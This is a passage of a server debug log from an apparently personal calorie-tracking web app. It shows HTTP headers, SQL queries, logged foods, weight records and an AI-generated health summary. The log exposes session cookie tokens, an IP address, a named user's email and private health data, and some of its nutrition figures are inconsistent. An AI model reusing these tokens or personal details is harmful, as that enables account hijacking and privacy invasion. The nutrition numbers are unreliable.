    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T08:30:57.525Z server-connect:app Executing action step identify
2025-12-18T08:30:57.525Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:57.525Z server-connect:output identity: 1
2025-12-18T08:30:58.120Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T08:30:58.121Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T08:30:58.122Z server-connect:app Executing action step identify
2025-12-18T08:30:58.122Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:58.122Z server-connect:output identity: 1
2025-12-18T08:30:58.122Z server-connect:app Executing action step restrict
2025-12-18T08:30:58.122Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:58.122Z server-connect:app Executing action step identify
2025-12-18T08:30:58.122Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:58.123Z server-connect:output identity: 1
2025-12-18T08:30:58.123Z server-connect:app Executing action step restrict
2025-12-18T08:30:58.123Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:58.124Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T08:30:58.125Z server-connect:output restrict: undefined
2025-12-18T08:30:58.125Z server-connect:app Executing action step single
2025-12-18T08:30:58.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T08:30:58.125Z server-connect:output restrict: undefined
2025-12-18T08:30:58.125Z server-connect:app Executing action step select
2025-12-18T08:30:58.125Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T08:30:58.126Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T08:30:58.126Z server-connect:app Executing action step identify
2025-12-18T08:30:58.126Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:58.127Z server-connect:output identity: 1
2025-12-18T08:30:58.127Z server-connect:app Executing action step restrict
2025-12-18T08:30:58.127Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:58.128Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T08:30:58.129Z server-connect:output restrict: undefined
2025-12-18T08:30:58.129Z server-connect:app Executing action step single
2025-12-18T08:30:58.129Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T08:30:58.130Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T08:30:58.130Z server-connect:app Executing action step select
2025-12-18T08:30:58.130Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T08:30:58.131Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  }
]
2025-12-18T08:30:58.131Z server-connect:app Executing action step setvalue
2025-12-18T08:30:58.131Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T08:30:58.131Z server-connect:output var_total: 878
2025-12-18T08:30:58.131Z server-connect:app Executing action step setvalue
2025-12-18T08:30:58.131Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T08:30:58.131Z server-connect:output var_consumed: 37
2025-12-18T08:30:58.131Z server-connect:app Executing action step setvalue
2025-12-18T08:30:58.131Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T08:30:58.131Z server-connect:output var_deficit: 1522
2025-12-18T08:30:58.131Z server-connect:app Executing action step custom
2025-12-18T08:30:58.131Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T08:30:58.132Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '878',
    surplus_or_deficit: '1522',
    status_flag: 2
  }
]
2025-12-18T08:30:58.256Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T08:30:58.257Z server-connect:app Executing action step identify
2025-12-18T08:30:58.257Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:58.257Z server-connect:output identity: 1
2025-12-18T08:30:58.257Z server-connect:app Executing action step restrict
2025-12-18T08:30:58.257Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:58.257Z server-connect:output restrict: undefined
2025-12-18T08:30:58.257Z server-connect:app Executing action step single
2025-12-18T08:30:58.257Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T08:30:58.258Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be quite limited, focusing primarily on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent early morning gym sessions are a positive for your goals. The recent weight trend shows some fluctuation but a general downward movement.",
    bad_points: [
      'Very limited food variety for the day.',
      'Lack of substantial meals to support energy levels and recovery.',
      'The snack composition may not be ideal for balanced nutrition.',
      'Insufficient intake of fiber and micronutrients.'
    ],
    good_points: [
      'Consistent gym attendance is commendable.',
      'Inclusion of whey protein supports muscle development.'
    ],
    suggestions: [
      'Incorporate more whole foods like vegetables, fruits, and lean proteins throughout the day.',
      'Ensure meals are balanced with complex carbohydrates and healthy fats.',
      'Consider adding a more substantial breakfast and lunch.',
      'Increase fluid intake.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Slight downward movement'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T08:30:59.091Z server-connect:app Executing action step identify
2025-12-18T08:30:59.091Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:59.091Z server-connect:output identity: 1
2025-12-18T08:31:02.414Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T08:31:02.415Z server-connect:app Executing action step identify
2025-12-18T08:31:02.415Z server-connect:app options: { provider: 'security' }
2025-12-18T08:31:02.415Z server-connect:output identity: 1
2025-12-18T08:31:02.415Z server-connect:app Executing action step restrict
2025-12-18T08:31:02.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:31:02.416Z server-connect:output restrict: undefined
2025-12-18T08:31:02.416Z server-connect:app Executing action step select
2025-12-18T08:31:02.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T08:31:02.417Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  },
  {
    id: 436,
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)'
  },
  {
    id: 437,
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5'
  }
]
2025-12-18T08:31:02.417Z server-connect:app Executing action step paged
2025-12-18T08:31:02.417Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T08:31:02.421Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T08:31:02.421Z server-connect:app Executing action step run
2025-12-18T08:31:02.421Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
